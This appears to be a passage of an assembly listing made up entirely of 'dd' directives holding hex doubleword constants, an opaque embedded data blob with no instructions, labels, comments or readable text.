dd 4E781229h, 11C03674h, 0DA927CFBh, 0BE907819h, 7018ECA9h
dd 786922EFh, 2F0FC2B5h, 9BE61538h, 0E6D64B10h, 8A97E3Ch
dd 8CC4A127h, 0DAFC593Ch, 8442DA21h, 7A73F224h, 9450AC7Ah
dd 6511CC0Ch, 26645B8Ch, 0C1906018h, 773C4599h, 0F96529DEh
dd 0F14ABE99h, 0C6A4EEA9h, 0EF11C44Eh, 11FBE924h, 95785E88h
dd 5176340Bh, 186D2826h, 532C90ACh, 55E0184Eh, 0E366F86Ch
dd 0E94A0C4Dh, 1AF3DD7Ch, 850B0967h, 9408A288h, 1099C466h
dd 0F5504975h, 6FAD2373h, 6190BF10h, 289EA5D1h, 5E645AE3h
dd 4F1A2450h, 411782Dh, 517D94A9h, 58783008h, 0C9963E70h
dd 2C18AC88h, 0F04D11B2h, 699B8957h, 0B40C16A0h, 6C106CF4h
dd 114D66BCh, 4B6E9413h, 69880A11h, 0CCE82410h, 1A996410h
dd 0E0131034h, 0D57BBEA8h, 6634DF11h, 19641AEAh, 11C87EC6h
dd 2E1C968h, 6A90766Dh, 8A1A819h, 9A820728h, 4F43141Ah
dd 4D081641h, 2310B4CDh, 68430180h, 440CA22Eh, 93DAE560h
dd 38A8E428h, 0DB060841h, 11CF829Eh, 584D6814h, 75129804h
dd 0E55FDCF9h, 31CC0DA1h, 66D89FF4h, 27279560h, 34080A6Ch
dd 0C8FF1620h, 98C547E4h, 36BA617Ah, 63B4313Bh, 41D9D3BAh
dd 68140C0Ch, 0F4B608A4h, 65560822h, 4E8148CCh, 0DA781CE2h
dd 394C6265h, 7275E4F9h, 57C51CABh, 5A0E8460h, 18933E0Ch
dd 55643242h, 682694D9h, 10F15E08h, 1435A504h, 8EA6E97h
dd 0B96BAC3Ah, 980618EDh, 11B5F9D6h, 671F024Eh, 14AB756Ch
dd 5D72A8E1h, 686EEDA0h, 87928E5h, 882229Ah, 68454F6Bh
dd 9893DA08h, 12666BC2h, 85CC10DAh, 0C4677354h, 0CD8D49C4h
dd 0C4671092h, 4FBCD3Bh, 30C0110Ch, 4A064626h, 299ECF88h
dd 0F2649228h, 0F5189A24h, 201BDE12h, 92CADEFh, 0F0923F08h
dd 6214A579h, 0F0922BD6h, 0F0FAB061h, 68DC9C6Fh, 97AD250Ch
dd 8599A410h, 6528D53Eh, 0AFEF4980h, 0B4E68F11h, 720ED928h
dd 0C6F5994h, 0BDD730D4h, 72109854h, 8C624875h, 0EE1CE5A4h
dd 0A845089Ah, 0BB56922Dh, 0E5184FC0h, 0BE08043Dh, 92409951h
dd 9AFA13A5h, 73DCC10Ch, 95680848h, 646BCB85h, 271C550Ch
dd 19A0665Eh, 68AECF9Ah, 3574AF95h, 5C8F6814h, 104FE83Eh
dd 96DC4D3Fh, 0D376B856h, 2642D319h, 92801151h, 9297482Dh
dd 50F432AFh, 58088A8Eh, 8795126h, 87EA4171h, 0D37D6408h
dd 7963118Ah, 24134F78h, 6F4C9967h, 549FBCD7h, 9EC5D440h
dd 0C69729Fh, 659A7E2Dh, 500C536Eh, 0A47581D4h, 0D73BFB18h
dd 0B20C6A7Bh, 6F424C08h, 111F78EBh, 92ED6374h, 0C2140B5Eh
dd 661429ABh, 9710D641h, 0DF11AD83h, 0DD10DB41h, 776FE07Ah
dd 0F8A2FD8Bh, 73EA116Eh, 89629628h, 0B86FE18Ch, 770854A8h
dd 0F682B8BAh, 7618150Ch, 11B50DB6h, 9D10B066h, 0E8A5EC09h
dd 630C4B68h, 69457444h, 0E47AAAF3h, 7611C982h, 20867C88h
dd 3054F508h, 0C40224F5h, 0A730AA73h, 6B55FA3Eh, 656CE408h
dd 0B4707184h, 0B40CC86Fh, 0C20C34D1h, 20AD651Ch, 457F6C3Ah
dd 14180D08h, 14185EF3h, 4C931061h, 6D117314h, 0E80B09D2h
dd 6AD28974h, 230C12CCh, 846D6508h, 29B15E36h, 9EFC1036h
dd 6868BC98h, 2008A1A2h, 276C0B50h, 48566E45h, 6519E023h
dd 84564A9h, 1069C8A3h, 430518A9h, 0CF1C2771h, 89D714B4h
dd 8870E225h, 91187DAh, 4B4F4BDFh, 10FA2611h, 7451DC9Ah
dd 0ABD46520h, 69270824h, 85273BCh, 60493264h, 0DA8C3C6Dh
dd 0B29CD918h, 74666610h, 756210C6h, 3D48835Ch, 77364B18h
dd 98A6DC1Ch, 92A318D3h, 720E106Ch, 45CA10AAh, 0A167EAFh
dd 0B5DB73A2h, 76C6BB11h, 0A310D383h, 0F3116EA1h, 5F086250h
dd 4210C111h, 4CE24920h
dd 75109A1Ch, 1058949Bh, 627917BCh, 0D7CB9867h, 104A28B3h
dd 806C389h, 84C2B8B6h, 0A46D7114h, 28D5A230h, 68623083h
dd 0F451326Eh, 0E66210B2h, 0BF71F179h, 259EEC28h, 3474D685h
dd 62F19208h, 5FBE9756h, 82108C66h, 0D000D08Fh, 2A9A0C04h
dd 1CD1FA52h, 6DE9420Ch, 98799411h, 2734269Fh, 18DEAC14h
dd 0FEDC739Bh, 0D7707111h, 6FF08BA6h, 1373A920h, 0F1115188h
dd 1093C165h, 48AB16Dh, 7EB85A18h, 0DE2F0812h, 80A71116h
dd 0EC75559Fh, 68BFA392h, 97683811h, 9F224821h, 103491B1h
dd 8FFE11E1h, 1A6B0920h, 681C4900h, 68A83054h, 106AB042h
dd 105539F6h, 251408A4h, 6B1163ADh, 11A7348Dh, 0A03AFD62h
dd 41B43FFAh, 410C7315h, 0A1564983h, 11B49310h, 116865A3h
dd 0E13227BEh, 691C0C08h, 0BCB31658h, 6B621932h, 6F765526h
dd 115E18BDh, 1C5A80A1h, 216C541Fh, 88ED199Bh, 0DBA24A6Eh
dd 9AA783C3h, 0B5FDA408h, 784B1011h, 82819278h, 0B5E07198h
dd 139FE118h, 73FA6808h, 1C564733h, 376A0C41h, 77E9CE99h
dd 115B3F13h, 0DF20AF50h, 0C160AD2Fh, 6D167CFAh, 632A2910h
dd 79796121h, 2FA0F509h, 1362B508h, 186D145Eh, 0C54A6AEDh
dd 51701869h, 1C31088Ah, 9B93167h, 5ACA5408h, 8089708h
dd 0B68021B4h, 0C480DD10h, 48937949h, 7C96513Ch, 0B718A6C8h
dd 10B6DAF1h, 7665139Ah, 19853679h, 4A3C28B9h, 0B6893B85h
dd 9CC10BFh, 546716DEh, 692A1C49h, 6BA5A938h, 0AFFE77FDh
dd 56A1120Ch, 0C11A621h, 8D6A7948h, 7475E034h, 0AFFC45D3h
dd 0FB720C44h, 0EA682328h, 69709C0Ch, 0BDFC2D20h, 0C1F2849h
dd 4F9EB1A2h, 262C194Dh, 1722AC41h, 6446196Bh, 9BEFFF1h
dd 7C20D8D1h, 5A3CFCBBh, 0B6C485Ah, 0C9EC4408h, 749B7210h
dd 58701024h, 0C5E7106Dh, 0FB14453h, 11B2EB09h, 10A57982h
dd 0F1183574h, 6D18136Dh, 5E1273BAh, 0DA116D8Dh, 6EAD74DBh
dd 120882E1h, 18508834h, 0BCC4D149h, 2A9B974Ah, 0AD964F15h
dd 0DB2D9E78h, 2C583CDCh, 726006D2h, 8B51962h, 10322503h
dd 4C63D475h, 84AC7310h, 8895389Ah, 260801h, 0A5896493h
dd 0DD18BDh, 9F3A15Bh, 9A3D380Ch, 68486110h, 182C666Ah
dd 0A072F1F1h, 2DBC08C8h, 0D6287314h, 10645DA3h, 986AE869h
dd 0A4746610h, 84E7A618h, 0EA71F124h, 8D7F8721h, 79189358h
dd 4C089A51h, 7710D84Ch, 0B610A46Bh, 8690200Ch, 0DB3CF330h
dd 39741199h, 7C144306h, 0CE86496h, 8F200868h, 14AC677Dh
dd 8E8089Dh, 760361A7h, 7CF25C4Dh, 88154F86h, 30655171h
dd 29E2205Dh, 7355F6F8h, 0DAF56878h, 0F0ABE211h, 506A5610h
dd 304DEC41h, 693D5565h, 0E08E19DAh, 81BE7891h, 0E423136Fh
dd 86ECEE68h, 0D0948C0Ch, 898108Ch, 6F457547h, 10A0B419h
dd 0D9745B81h, 0D7B4F365h, 0AA08FA89h, 9088A65h, 0F9CCEC91h
dd 0BAF2D255h, 8B0CAA75h, 73AF25FDh, 0A9571856h, 0C645E94h
dd 189A60A9h, 3C3BED08h, 0DC086F2Dh, 53672A10h, 974A0879h
dd 680C0A87h, 6B584908h, 9B1C6C49h, 22964918h, 397E199Ah
dd 80E38B4h, 84103467h, 0FF257361h, 0B1109866h, 5E22728h
dd 141B0C1Ah, 8D0834D5h, 0CC10BB58h, 5511DBBAh, 0FFE2F720h
dd 8CCB860Bh, 7468C8C4h, 0BD2E41DEh, 6D6910A2h, 0F9454661h
dd 10DA0F7Ch, 2C76880Dh, 33106B7Ch, 9D114A1Ah, 6D1996F3h
dd 10AD63C9h, 46792E41h, 6F4A6610h, 0D1F2D8D9h, 340D21ACh
dd 39BCA118h, 754683D0h, 8A54173h, 10DAEC38h, 10586813h
dd 2D2771C7h, 0F9294441h, 0EA1DD31h, 85142508h, 48EA18D4h
dd 4A109BD7h, 8F0100Ch, 0D9644F76h, 530C1440h, 22491B08h
dd 45ADCE58h, 1491E20Ch, 7D107C61h, 0C4442D26h, 85107394h
dd 8327A6Eh, 2DEBA46Bh, 0DDCB9DB1h, 0DDEE1025h, 94D0F254h
dd 65084CF7h, 72277942h, 0BB0870A8h, 9B1073AAh, 900CA0AAh
dd 0DF588A78h, 0B41C9D88h, 0BCB064A8h, 753150A7h, 0A0FFB4B2h
dd 2C8BB319h, 0AD9548EEh, 4DD71059h, 19DA1CE8h, 0B36CCF05h
dd 28196815h, 10CD616Ah, 10546FD9h, 9254D710h, 8C2714F5h
dd 84B40C41h, 0A90C376Eh, 0C84FFECh, 87357DDEh, 1510B126h
dd 186F7A6Ah, 9949BC48h, 55CB6125h, 67AAE4h, 2744C989h
dd 8920844h, 0FD08AF6Eh, 2C56C3FCh, 0CFD5AB78h, 182808BAh
dd 85B9CA3h, 8221AF36h, 0F5EC1BC9h, 7110C566h, 0DF32A262h
dd 501B4889h, 70F74BC5h, 5A3E7DDBh, 0FB789FF6h, 10B27449h
dd 10F36E34h, 89C44F3Eh, 6F640820h, 64918C73h, 0EAAC10B4h
dd 66701CDEh, 261D6F8Dh, 4D9E2610h, 79D06C10h, 336CD1C9h
dd 201059CCh, 41ADE65Ah, 0FD29350Ch, 950C5566h, 0F3ACD90Ah
dd 68324164h, 6481730Ch, 106C2C96h, 0F994AC6Eh, 0DE782C76h
dd 7F08A847h, 0D170A462h, 44131A4Ch, 0E1198D77h, 68E90575h
dd 346C18DAh, 336610CEh, 27866697h, 0CF57F7D2h, 0C9897284h
dd 124F5CBCh, 19977664h, 8677529h, 0C2797408h, 72306973h
dd 65468E66h, 4C8E105Eh, 72A4E45Eh, 8E7E08AAh, 0D7116E3Dh
dd 109126BEh, 11D82C97h, 73E1FD69h, 42166EE5h, 132D9AB4h
dd 6C182F8Ch, 192437BBh, 7A9FC166h, 96A80CE9h, 651150D9h
dd 506B156Fh, 0AC71189Ah, 1BB5B4A0h, 58C2C4AAh, 0D7F07A74h
dd 622DE010h, 5AD28CAEh, 116957E2h, 108A1CF8h, 107DFB1Bh
dd 0B27AE0C8h, 0FC657010h, 2C8D1935h, 0C42726E2h, 5575713Ah
dd 6FB1330Ch, 2D8E5811h, 22BEBB52h, 0C2089510h, 1393C864h
dd 6D78B663h, 1409FA18h, 0C6BD8104h, 522D3648h, 0BADD5F0Bh
dd 6C42F168h, 614F4C40h, 2C4AD887h, 5EEF4747h, 186D47EEh
dd 0D83877DDh, 0E574109Ah, 57A106Dh, 9756C8Eh, 88756708h
dd 9A4F3094h, 72A10241h, 0B622FC63h, 705E219Ch, 0B37880F2h
dd 0D711B441h, 41493C57h, 0BEFB0792h, 3879A921h, 0B4987025h
dd 6F12CD00h, 43385658h, 4468F579h, 99773E9Eh, 4348BC78h
dd 10DBC058h, 9B3CA8ADh, 0A2907C10h, 48B9DC9Ah, 0A0582608h
dd 4D8B9408h, 0B4C94D10h, 0D6E31A11h, 20EE3968h, 680B9DA5h
dd 10ECF8D4h, 0B8459573h, 0CCC71834h, 80474CDh, 0D47EA88Dh
dd 0FC994B1h, 82736408h, 1491613Eh, 2C69EB63h, 6D895F11h
dd 18D688CCh, 10AD60CDh, 809441Ah, 2F08F928h, 11DFB244h
dd 20A2FA7Fh, 4DDDA5C3h, 71326230h, 0EEB5E316h, 9010F036h
dd 4D408B3Dh, 0D97A552Ch, 556B7C11h, 7924C218h, 0F9C308A9h
dd 649A1278h, 0D866724Ah, 0C9634F18h, 61109AAEh, 6C18C1FAh
dd 26C85F6Bh, 25C225C5h, 7A26082Dh, 6D5C4E11h, 2E650918h
dd 404AC2AFh, 0BF510C1Ah, 882D0C23h, 3A5A0C57h, 6DF37618h
dd 84EE0518h, 0AB082725h, 7AF88DDAh, 0D1080CA2h, 270821E8h
dd 34A2D376h, 9E3CA8D0h, 8A69E62Fh, 992CF70Ch, 79526B8Eh
dd 8A47D0Ch, 8821692h, 73949FDEh, 60702A08h, 0FCB65AB2h
dd 0DACA1137h, 9AA55468h, 700809CFh, 0B49BB5D6h, 2590F5E5h
dd 140C0D27h, 65084A92h, 219C6A10h, 14A927CCh, 19C59C6Ch
dd 24586570h, 846974A8h, 6136ADFBh, 585465C9h, 78E18316h
dd 88E30816h, 866E6908h, 0E4DE79F4h, 817CCEA7h, 543C7410h
dd 19AB185Ah, 44FD7570h, 120819E0h, 126F5463h, 1A1F530Ch
dd 0C110C05h, 58DED263h, 0F6AF196Dh, 19DAECECh, 0D9380BA5h
dd 6D11328Fh, 0F628A392h, 0EDD74A0Ch, 9CE6E619h, 0B373AF1h
dd 6C794202h, 5610DAB8h
dd 10CB2664h, 0F1056461h, 262FB561h, 724A1014h, 0C034FDDh
dd 820CD6Bh, 8C797A64h, 276E6521h, 8293442h, 10749833h
dd 104D0CB6h, 7839F32Bh, 46370F97h, 0BF11696Bh, 10829E72h
dd 0A508C328h, 48085588h, 6A54BC41h, 0BC08A673h, 7C186DB9h
dd 8AA7455h, 509D23CBh, 0F1965408h, 2A2009E5h, 5F20E310h
dd 1A14E31Ah, 0C8102D08h, 118DFF05h, 8786FF1h, 6D08A970h
dd 0D3E432C2h, 13DC11DAh, 566AFA10h, 3018CD38h, 8AA72E3h
dd 106C6CDEh, 3ABEB675h, 201C6629h, 2AE6AAD9h, 11B4C808h
dd 11DB52F8h, 89AE27B5h, 10D568ECh, 852ADE18h, 0E7086B51h
dd 431D9648h, 8CAE7D60h, 3A620BA1h, 0C10A864h, 4CAF911Ch
dd 0CA67E6Eh, 637F8E9Ah, 0BCB80CA6h, 9C3A088Ah, 7ED42942h
dd 0E0940820h, 0D23D14A3h, 0DEB05C6Ch, 1325CD24h, 0D1104145h
dd 0DE113D06h, 0C8567EB6h, 8A3C0C41h, 140C6E8Ah, 0A2932863h
dd 0C6116B99h, 0F510D26Dh, 0E081689h, 0D9366D4Bh, 0A4677119h
dd 70C59508h, 6A970C22h, 0CBF012F4h, 80AD7DDh, 881BEAAh
dd 0C809A072h, 2C1C6F55h, 6910DB95h, 8C332288h, 6EA9C2E4h
dd 7AF1087Ah, 498B3D67h, 99457A10h, 6129CDE8h, 0AAAC3420h
dd 930CAC51h, 86DE0596h, 21649C0Ch, 2DB0B218h, 10E8665Ch
dd 58266797h, 16EFF10h, 2D746312h, 0DA7C6C44h, 0F3A8F720h
dd 0A2934808h, 4AAD8208h, 0C41C1AE5h, 0AB637D03h, 2D3E250Ch
dd 49746219h, 14112A1Ch, 5F613608h, 0C49FDB6h, 96B8DD2Bh
dd 60B26818h, 479106Bh, 906711B5h, 0D2A4E68Bh, 0A8587510h
dd 2408439Eh, 0EA6F1063h, 10CDC079h, 802A765h, 8AB0CC75h
dd 25705414h, 19D3E3E6h, 1F3C3DF1h, 0A7450CD0h, 53B3C42Ah
dd 69FA5C0Ch, 98DAA008h, 541486E0h, 0A3770D68h, 9279EA0Ch
dd 0ACF9C414h, 5005F950h, 0D993086Bh, 62199750h, 0C45BCB7h
dd 82085CA0h, 8AB25FB5h, 7A630C23h, 8A11CED7h, 822846Ah
dd 342952DEh, 9023B4A4h, 0CC646C16h, 7729B0EDh, 0B4D52C08h
dd 6514219Ch, 6B4C526Ah, 9795891h, 0E0C4102Ah, 0C05467C9h
dd 0C72E114Dh, 0F111AD18h, 45584979h, 86F1140h, 0B4795C4Ch
dd 7A416110h, 6C8FEE69h, 0D4E6790Bh, 706B10CBh, 11646F9Fh
dd 34D05BF3h, 3BD178C2h, 18D64022h, 39ADBCB5h, 0A3CD8BC3h
dd 6719665Bh, 0C745312h, 3C319B78h, 3052723Ch, 29DAAA78h
dd 70CB4A08h, 440C8A04h, 119F8219h, 1C2F6420h, 6211B3FCh
dd 0B98435BDh, 5A08424Eh, 7CE2CD89h, 3C116D53h, 20722E8Ch
dd 0DEF93422h, 884C0D0h, 0D97894D0h, 84D6F18h, 0B40826A2h
dd 6D056F5Dh, 0A534CD73h, 2ACD6210h, 32273E10h, 720C04DFh
dd 0EAE33EC9h, 0B4FBDA74h, 0AF0C2100h, 19484EB3h, 75995F18h
dd 67E418B3h, 0ED081FE5h, 101EF813h, 182A6B65h, 106DD494h
dd 401F116Bh, 0E19C8D5Eh, 0E8E6E668h, 2FD064F0h, 29354C6Ch
dd 5FBCFC62h, 0C1FC674h, 86324C69h, 9B4CAA6Dh, 3E584527h
dd 0E1646217h, 2166F21Ah, 8435030h, 0B77C7325h, 663BA4F9h
dd 0E0023F39h, 334B3832h, 3650581Ch, 4D200811h, 38392045h
dd 11544E32h, 64500C35h, 0A3DE5D73h, 0FEEF4D1Dh, 14144D88h
dd 0E037440h, 8393910h, 4CA22A30h, 35D6FD4Fh, 0CC810968h
dd 9A874E55h, 0E345053h, 106E415Bh, 340855C0h, 84CC832h
dd 0DB300931h, 331CE949h, 58302EBh, 3FFF9E8h, 0C9315B02h
dd 0E0FB966h, 0A20E7380h, 9EF9E243h, 2DB16418h, 102360Ch
dd 364C033h, 0FD783040h, 60CD78Bh, 0EAD1C70h, 9EB3108h
dd 0FD8D340Ah, 3C0C9F7Ch, 0B03D08Ch, 7D48EACAh, 20413E78h
dd 5987DABEh, 23FF331Ch, 278E57F6h, 81100C04h, 0ABF10A79h
dd 0FC026420h, 316C433h, 0E518EB74h, 39833B17h, 0C3B904C0h
dd 74F68587h, 41FF47DBh, 0C8F203D7h, 0E83757FAh, 7FCBD112h
dd 2D20C130h, 5A956973h, 6AC1F13Fh, 0C317E8C0h, 0C3017533h
dd 22D4AAC5h, 85071008h, 40ED840Fh, 5B58C3A6h, 8314505Dh
dd 39F54ECh, 488DFC8Bh, 0F3D7A840h, 44B003AAh, 515257ABh
dd 0C9286A89h, 550C8001h, 83D6FF53h, 85540DC4h, 3E64C3C0h
dd 0BA9384F3h, 0A3BC2D76h, 0DF4EE24Fh, 7BB53F64h, 9A77C9C6h
dd 0B2E5D5E0h, 3BE3F45Bh, 14530366h, 639C68B6h, 97780129h
dd 0E908C20Bh, 655540EAh, 18533AD4h, 3776426h, 3533316Dh
dd 68441521h, 87635C01h, 42DF4C09h, 1D03C81h, 47ACB85Bh
dd 0B801D00Ah, 2944920Ch, 7280EC1Fh, 341CE2D6h, 4109756Ah
dd 0DD2E4E53h, 424D8F02h, 0BD984097h, 0A5D59D63h, 14B5E840h
dd 20F34039h, 1C1754C2h, 24F2218Bh, 0BB6573B6h, 0DF2D91D2h
dd 0C0379B42h, 41B6A105h, 8D31187Dh, 5F2AFE28h, 0A30A85C3h
dd 0E83050C0h, 4D11C885h, 0E5011B1Ch, 91014038h, 0D84FC8CBh
dd 5A1610EBh, 665C334Ah, 34800180h, 59E2990Ah, 897362FAh
dd 0F798ED70h, 9521C3F0h, 0E664690Fh, 0E9877C12h, 0D9633485h
dd 0D841CB91h, 7E9AA5EAh, 0E1EF316Ah, 0E9B9E70Bh, 8DD7FC62h
dd 0CF74AA07h, 0A6D6C8CEh, 0F36B0019h, 3F6AC097h, 0C6EA91EDh
dd 9D5E1A03h, 0E707BDCh, 5412C710h, 9ABDDF41h, 0D07A615Ah
dd 503FAA58h, 0CD826FFFh, 0F3EF1C85h, 0A81E6D9Bh, 0D863F912h
dd 5F3D1A6Eh, 0F3499F97h, 0E571C006h, 1A80E5DCh, 66CFCB94h
dd 0C36365CEh, 229DF3D2h, 0C96FF026h, 0CC988F03h, 0C7692C9Bh
dd 879E5E2Ah, 0AA243099h, 0DE031059h, 0CE89F39Dh, 6D2836CAh
dd 616C0D36h, 1650D46h, 12DD751Ah, 8042AA6Dh, 8510C034h
dd 0EA627B17h, 6A164DFh, 5ED907A5h, 0A098B592h, 89DE14CCh
dd 0CACF36C9h, 5EEC6702h, 0FA1BA5F8h, 0BD27FDF4h, 0FE7D3A0Ah
dd 0AC71313Ah, 0ECCC1C35h, 81C85160h, 0C34B2480h, 777B32C0h
dd 3E715A80h, 0FE6762h, 0C9EDFCDEh, 0D8FAF6EBh, 0E9EDFD71h
dd 0DA99C4EAh, 0EDF80CC7h, 1D33129Ah, 0E1DCF8D8h, 0D4DFDF0h
dd 0F8DCD5F1h, 0FBFDE9FDh, 0E026B7FBh, 0EAEE0732h, 3EAAC6ABh
dd 0E57BA7F4h, 88F23C9Bh, 0F0FB240Ch, 0EAF5E8F7h, 3E7CDEEAh
dd 64FAF819h, 94F4E7E9h, 284FB80h, 0FF3517AAh, 6E69B844h
dd 0F46CD9EAh, 12DD3703h, 2C4F1428h, 88A5C8BCh, 0F99D4511h
dd 2654ADE8h, 4199EA4Bh, 204F3A9Eh, 0A95C5427h, 0E05B21E8h
dd 98465402h, 4D56EBBCh, 220B8518h, 0A1768577h, 3B2DCD48h
dd 0EA933FF3h, 9F5A9C37h, 8CFE8473h, 0F99F5446h, 0CBB048D6h
dd 9486880Dh, 0F8B4290Fh, 0E90AA4Ch, 7DBB16AEh, 55B2F80h
dd 14E243C1h, 968AF95Eh, 77BAD356h, 7929D59Bh, 43B12B34h
dd 50BD2707h, 0CD6FE3FBh, 26FA2F53h, 295A683Bh, 8091B4ECh
dd 0BFAB34B4h, 3DFB0717h, 4A200E78h, 0FEFD34FAh, 0CEFE4FC4h
dd 8EAAA5B4h, 0F4319430h, 38D03A2Fh, 72B63FADh, 189DFEB4h
dd 3DE49B0Fh, 0CFB23F34h, 40E23FF9h, 0D4044EBDh, 4C62A554h
dd 1B5EA92Ch, 0B6AAE463h, 0A4289128h, 53C388FFh, 68CCF19Fh
dd 7553C090h, 10A52D62h, 46F1A024h, 0D49F3532h, 129A4074h
dd 0FEF3AE0Fh, 82DA839h, 0FE666F13h, 0A00A6F29h, 6AA9D390h
dd 0F66E67E5h, 18CBF4B0h, 1DE9AC46h, 0FFB5146Ch, 13FF2394h
dd 725E0D02h, 7942BE17h, 15FC734Bh, 181D2EC9h, 406A9D29h
dd 0E05357D6h, 3DD27156h, 58A67E2Ch, 5AA73494h, 45FDD235h
dd 0DC58E848h, 2429029h, 0F8078C21h, 80A010Fh, 0FDF020C0h
dd 0FF0CA17Fh, 235F6538h, 0C8CA1865h, 37626A5Bh, 6207A713h
dd 43500200h, 454E0120h
dd 524F5754h, 76B4BA4Bh, 413C4777h, 2E310C4Dh, 0F24C3030h
dd 6A2F54Eh, 6756970Bh, 0E9F466C6h, 5F9F4AF2h, 83709C69h
dd 312E331Eh, 4D513061h, 30583248h, 33B3D2E3h, 16DE2EEEh
dd 3220544Dh, 16BF30CDh, 73888852h, 183B0764h, 40BFF0Ch
dd 1A0A5311h, 8006D48Ch, 28108A1h, 4B19E044h, 0A345EA46h
dd 0F30DBEA7h, 274704EAh, 22941D5h, 8D1CF206h, 0CDF3CF02h
dd 0FF42F910h, 48478302h, 804B4A49h, 504F4E9Eh, 53520051h
dd 57565554h, 5A005958h, 64636261h, 2676665h, 6B6A6968h
dd 58766D6Ch, 70F07112h, 77760275h, 307A7978h, 8B7DD357h
dd 0BE442F2Bh, 816660C2h, 899B80ECh, 0A4EDE8E6h, 683603DBh
dd 63D61209h, 190FF7E3h, 0A084689h, 760014A2h, 0D06B6804h
dd 54CA7D2Bh, 0F00C15E2h, 0FA248E3Fh, 0B13E2497h, 0DB311BCDh
dd 0FF10F1h, 89D0FF99h, 768B56C3h, 0B9C7D8F9h, 0A4F310A0h
dd 0C0315E0Ch, 0C1530250h, 0C56FF06h, 0D49EB28Bh, 5E5F01C4h
dd 60E0F85Bh, 7123E830h, 24448Bh, 7C588D0Ch, 53C4383h
dd 28708174h, 311F1049h, 0FFF00E63h, 6048BC4h, 14C48324h
dd 0C3737C50h, 0B964D23Fh, 22899932h, 1B32B8C6h, 29D0F5Bh
dd 0AFF3DFA2h, 0EBC7E155h, 107EC8DBh, 48F7F64h, 60C36158h
dd 8B23C8BFh, 89C71F63h, 0F890BF07h, 9A78C781h, 0FF9F63Eh
dd 4741939h, 0F8EB09E3h, 5AD3FAD3h, 0B705B7CFh, 0F68FEF52h
dd 4ACF118Fh, 0FD43C681h, 0A16E8A01h, 400E360Ch, 6E586C1Ch
dd 8E47F11Eh, 6F460EACh, 6CE39A04h, 45F12824h, 554FC3Ch
dd 0A7EA8CCFh, 5AC3184Ah, 0E3EBC020h, 7D497B38h, 28EEF034h
dd 3E95FF31h, 0E081ACFCh, 0CFC10774h, 0EBC7FC0Dh, 7C3BF40Eh
dd 0E1752624h, 6603ED48h, 904B0CB1h, 0BF411C12h, 89E8548Ah
dd 618E3DDDh, 921F08C2h, 0C4F830FEh, 0D8A0F254h, 4652E8FCh
dd 7CBB64F7h, 4F28EF4Fh, 2E885F10h, 0AC99C0E0h, 0B790E984h
dd 6C222CAh, 75042454h, 5B8C44E3h, 0FD209F3h, 325C89C6h
dd 645AC365h, 8530B207h, 0FB0F7862h, 868829Ch, 5F8F0BE9h
dd 7C0534E2h, 3C680880h, 0F607315Fh, 0DEB5660h, 43CEEF92h
dd 0FE98F072h, 570E028Ah, 0EEE8E7FFh, 0FFE184D0h, 0B9064338h
dd 5019C2Bh, 19A0024Ch, 0A109C830h, 43370391h, 0EB840803h
dd 8379006h, 76D638Bh, 735E2FDFh, 0F16F5DE0h, 585CF67Eh
dd 1A3E8C3Fh, 0DD14AA26h, 3166E3C4h, 0FD273E05h, 0C7791449h
dd 72124E68h, 1A7EEA7Fh, 0FE045010h, 0EE8EDC2Dh, 0FA1B34F8h
dd 0E005718Ch, 1003330Bh, 92248D9h, 16D0357Fh, 0D9B8A204h
dd 606DA004h, 46C5C088h, 5D040500h, 4EB8A88h, 9F11C91Ch
dd 2B6A80E8h, 602C4810h, 5E47002h, 0E83B4C11h, 0FD84E540h
dd 2D044443h, 0A7940631h, 58243200h, 6445CCFDh, 70B00049h
dd 2C74AEDDh, 6015D296h, 0CD1C0D5Eh, 4C031970h, 1010457Ch
dd 96804C00h, 52AE2F1h, 0A611CE4Dh, 0AFA1806Ah, 0F435726Eh
dd 2281290Ch, 34584252h, 0ADF0140Dh, 0A81208BAh, 60870DF4h
dd 4D0410E0h, 57324F45h, 0BEA22904h, 33829BCh, 943071CCh
dd 0C5182829h, 0D00C1001h, 0E1C803CCh, 18024449h, 11689AD8h
dd 94780798h, 2858C4B8h, 2964168Dh, 0CA209150h, 0ABD974B9h
dd 0A523105Bh, 0A47CA6E4h, 0F2AD918Fh, 74823EAAh, 58645844h
dd 40489009h, 78262091h, 3C01E560h, 4F8850D8h, 20881BB6h
dd 2E8403FFh, 486062F4h, 66480446h, 20915EEh, 9C10B2A4h
dd 1408862Ch, 0B40C1978h, 701C28D2h, 9398D81Ch, 11D24F80h
dd 32BE3DA9h, 3221B257h, 5839E1E2h, 0D0E82380h, 4318E001h
dd 6008E114h, 0F8A504A6h, 3BF2C011h, 0E0E0241Dh, 317C581h
dd 0E90E8007h, 0F110994Ah, 156F508Ah, 0E402857Ah, 24E80FA9h
dd 6E656030h, 0DAD81842h, 6124BA0Dh, 0C5C0CADh, 0B208A503h
dd 284D58E2h, 2480D3BBh, 44D6482Eh, 21E10E68h, 0B8BE0A4h
dd 948F02E0h, 5CB30820h, 8AA0570h, 24E8C357h, 9336310Dh
dd 3592A033h, 18D136E0h, 0F89CBD02h, 156F1C64h, 20B27863h
dd 0C2D9899h, 0CC2A5088h, 37F8AE02h, 8B188C28h, 0D484003Eh
dd 42554E70h, 460C1E08h, 81684804h, 7FFDE0CCh, 4C1908A7h
dd 0BA014E90h, 16C62870h, 139D35EFh, 49603808h, 649150E0h
dd 58884FB8h, 45202F3Ah, 779EDE96h, 5A385F5Bh, 7CDA3D9Bh
dd 6966F99Fh, 0D0AD3ADDh, 8B2D8634h, 0E8108E54h, 79697270h
dd 137EE565h, 929BAC1Ch, 425BBCB0h, 4325224Bh, 9062CF0Bh
dd 38FDC606h, 12120FA9h, 0BEE295D9h, 6E4BF120h, 23025592h
dd 0ACF4607Bh, 2BEB799Ah, 66CDA340h, 0A171128Fh, 180C1B19h
dd 0C0097525h, 0EBF1CD2Ch, 0CF660D84h, 367FB989h, 61605D9h
dd 0F141128Dh, 987528E6h, 9D3E9B75h, 0F355034Bh, 25CAC889h
dd 33C0812Ah, 2097F1D3h, 0A9FF104Bh, 0CD75011Ah, 0F3BDA514h
dd 3C032E8Ch, 0CBDD5F64h, 0F679B89h, 0C510A40Ah, 0D509D12Ch
dd 0CE14C988h, 0C8CCCD2Bh, 9861F302h, 0A9EF6608h, 0BD9DCF01h
dd 0A8407B95h, 859DCC91h, 0C87A9506h, 0A5DC121Ch, 0E1B1CDC0h
dd 0F4CB4C9Ah, 3B976EBh, 0D050AA6Ch, 5CEB34D8h, 279642B8h
dd 4FA38900h, 525891EDh, 43FC94h, 0A26872D9h, 0C37EEC86h
dd 0BD7D1272h, 19FF443Bh, 8512D295h, 819CED07h, 0C0C73252h
